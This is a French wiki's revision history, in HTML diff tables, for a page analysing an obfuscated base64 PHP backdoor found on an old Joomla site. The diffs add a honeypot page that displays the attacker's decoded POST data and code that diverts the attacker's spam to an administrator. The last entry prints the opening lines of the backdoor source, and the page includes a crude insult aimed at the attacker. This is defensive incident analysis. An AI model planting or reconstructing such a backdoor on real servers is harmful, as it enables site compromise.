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Analyse de l'exploitation d'une faille de sécurité s'appuyant sur en cryptage base64 - Historique des versions
2024-03-29T14:27:35Z
Historique des versions pour cette page sur le wiki
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BeTa : /* Ressources externes */
2013-04-25T08:45:02Z
<p><span dir="auto"><span class="autocomment">Ressources externes</span></span></p>
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<td colspan='2' style="background-color: white; color:black; text-align: center;">← Version précédente</td>
<td colspan='2' style="background-color: white; color:black; text-align: center;">Version du 25 avril 2013 à 08:45</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l623" >Ligne 623 :</td>
<td colspan="2" class="diff-lineno">Ligne 623 :</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'>−</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>[http://forums.whirlpool.net.au/archive/2072084 http://forums.whirlpool.net.au/archive/2072084]</div></td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">* </ins>[http://forums.whirlpool.net.au/archive/2072084 http://forums.whirlpool.net.au/archive/2072084<ins class="diffchange diffchange-inline">]</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">* [http://www.base64decode.org/ http://www.base64decode.org/</ins>]</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>[[Catérogie:Informatique]]</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>[[Catérogie:Informatique]]</div></td></tr>
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BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2392&oldid=prev
BeTa : /* Extra ending */
2013-04-25T08:44:29Z
<p><span dir="auto"><span class="autocomment">Extra ending</span></span></p>
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<td colspan='2' style="background-color: white; color:black; text-align: center;">← Version précédente</td>
<td colspan='2' style="background-color: white; color:black; text-align: center;">Version du 25 avril 2013 à 08:44</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l604" >Ligne 604 :</td>
<td colspan="2" class="diff-lineno">Ligne 604 :</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Si vous êtes lassés de piéger votre correspondant distant, qui est sans doute bien caché, alors je vous invite à remplacer le contenu du fichier visé par quelque chose du genre :</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Si vous êtes lassés de piéger votre correspondant distant, qui est sans doute bien caché, alors je vous invite à remplacer le contenu du fichier visé par quelque chose du genre :</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"><pre><nowiki></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <html></div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <html></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <head><title>Hello World!</title></head></div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <head><title>Hello World!</title></head></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <body></div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  <body></div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>  <<del class="diffchange diffchange-inline">div </del>style="font-weight: bold; font-size: 30pt;"></div></td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>  <<ins class="diffchange diffchange-inline">h1 </ins>style="font-weight: bold; font-size: 30pt;"></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   GO AND FUCK YOURSELF LITTLE SCRIPT KIDDY!</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   GO AND FUCK YOURSELF LITTLE SCRIPT KIDDY!</div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>  </<del class="diffchange diffchange-inline">div</del>></div></td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>  </<ins class="diffchange diffchange-inline">h1></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline"> <?php foreach ( $_POST as $name => $var ): ?></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">  <h2><?php echo htmlspecialchars($name) ?></h2></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">  <pre></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">  <?php echo htmlspecialchars(base64_decode($var)) ?></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">  &lt;/pre></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline"> <?php endforeach ?</ins>></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  </body></div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  </body></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  </html></div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>  </html></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></nowiki></pre></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td></tr>
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BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2391&oldid=prev
BeTa : /* The end */
2013-04-25T08:34:44Z
<p><span dir="auto"><span class="autocomment">The end</span></span></p>
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<td colspan='2' style="background-color: white; color:black; text-align: center;">← Version précédente</td>
<td colspan='2' style="background-color: white; color:black; text-align: center;">Version du 25 avril 2013 à 08:34</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l600" >Ligne 600 :</td>
<td colspan="2" class="diff-lineno">Ligne 600 :</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Remarques à envoyer à beta_AT_e-glop.net (_AT_ / @)</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Remarques à envoyer à beta_AT_e-glop.net (_AT_ / @)</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">== Extra ending ==</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">Si vous êtes lassés de piéger votre correspondant distant, qui est sans doute bien caché, alors je vous invite à remplacer le contenu du fichier visé par quelque chose du genre :</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> <html></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> <head><title>Hello World!</title></head></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> <body></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> <div style="font-weight: bold; font-size: 30pt;"></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">  GO AND FUCK YOURSELF LITTLE SCRIPT KIDDY!</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> </div></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> </body></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"> </html></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>== Ressources externes ==</div></td></tr>
</table>
BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2390&oldid=prev
BeTa : /* Le code modifié */
2013-04-24T17:19:05Z
<p><span dir="auto"><span class="autocomment">Le code modifié</span></span></p>
<table class="diff diff-contentalign-left" data-mw="interface">
<col class='diff-marker' />
<col class='diff-content' />
<col class='diff-marker' />
<col class='diff-content' />
<tr style='vertical-align: top;' lang='fr'>
<td colspan='2' style="background-color: white; color:black; text-align: center;">← Version précédente</td>
<td colspan='2' style="background-color: white; color:black; text-align: center;">Version du 24 avril 2013 à 17:19</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l321" >Ligne 321 :</td>
<td colspan="2" class="diff-lineno">Ligne 321 :</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $subj = "SPAM/CRACK REPORT / Original subject: $subj / Original RCPT: $to";</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $to = 'admin@toencompany.net';</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $to = 'admin@toencompany.net';</div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>   $youremail = 'postmaster@YOURDOMAIN.TLD<del class="diffchange diffchange-inline">"</del></div></td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>   $youremail = 'postmaster@YOURDOMAIN.TLD<ins class="diffchange diffchange-inline">';</ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>   $zag = "CONTACT US FOR FURTHER EXPLANATION: $youremail\n\n\n\nORIGINAL SERVER VARS: ".print_r($_SERVER,true)."\n\n\n\n\nORIGINAL SPAMMING CONTENT:\n\n\n\n\n".$zag;</div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>    </div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>    </div></td></tr>
</table>
BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2389&oldid=prev
BeTa le 24 avril 2013 à 17:18
2013-04-24T17:18:26Z
<p></p>
<a href="http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2389&oldid=2388">Voir les modifications</a>
BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2388&oldid=prev
BeTa le 24 avril 2013 à 15:57
2013-04-24T15:57:05Z
<p></p>
<table class="diff diff-contentalign-left" data-mw="interface">
<col class='diff-marker' />
<col class='diff-content' />
<col class='diff-marker' />
<col class='diff-content' />
<tr style='vertical-align: top;' lang='fr'>
<td colspan='2' style="background-color: white; color:black; text-align: center;">← Version précédente</td>
<td colspan='2' style="background-color: white; color:black; text-align: center;">Version du 24 avril 2013 à 15:57</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l386" >Ligne 386 :</td>
<td colspan="2" class="diff-lineno">Ligne 386 :</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Nous laissons donc le filet ouvert afin de laisser le poisson se piéger dedans. Suite au prochain épisode.</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>Nous laissons donc le filet ouvert afin de laisser le poisson se piéger dedans. Suite au prochain épisode.</div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">== Ressources externes ==</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color:black; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">[http://forums.whirlpool.net.au/archive/2072084 http://forums.whirlpool.net.au/archive/2072084]</ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>[[Catérogie:Informatique]]</div></td><td class='diff-marker'> </td><td style="background-color: #f9f9f9; color: #333333; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #e6e6e6; vertical-align: top; white-space: pre-wrap;"><div>[[Catérogie:Informatique]]</div></td></tr>
</table>
BeTa
http://www.e-glop.net/w/index.php?title=Analyse_de_l%27exploitation_d%27une_faille_de_s%C3%A9curit%C3%A9_s%27appuyant_sur_en_cryptage_base64&diff=2387&oldid=prev
BeTa : Page créée avec « == Pré-compréhension == Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier '''includes/.8jy4et.php''' installé là par le serveur web. Son nom et la f... »
2013-04-24T15:55:30Z
<p>Page créée avec « == Pré-compréhension == Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier '''includes/.8jy4et.php''' installé là par le serveur web. Son nom et la f... »</p>
<p><b>Nouvelle page</b></p><div>== Pré-compréhension ==<br />
<br />
Sur un vieux Joomla! (de septembre 2009), on a retrouvé un fichier '''includes/.8jy4et.php''' installé là par le serveur web. Son nom et la façon dont il s'est retrouvé là ne laisse pratiquement de place à aucun doute : il s'agit d'un fichier "craquant" le système !<br />
<br />
Reste à savoir comment il fonctionne...<br />
<br />
=== Le fichier includes/.8jy4et.php ===<br />
<br />
<?php //176e622a9e272282a4a56a9100f5b75d<br />
$_=<br />
//ppZiAAS8dDJF9Q*(#_+@#TWyJ<br />
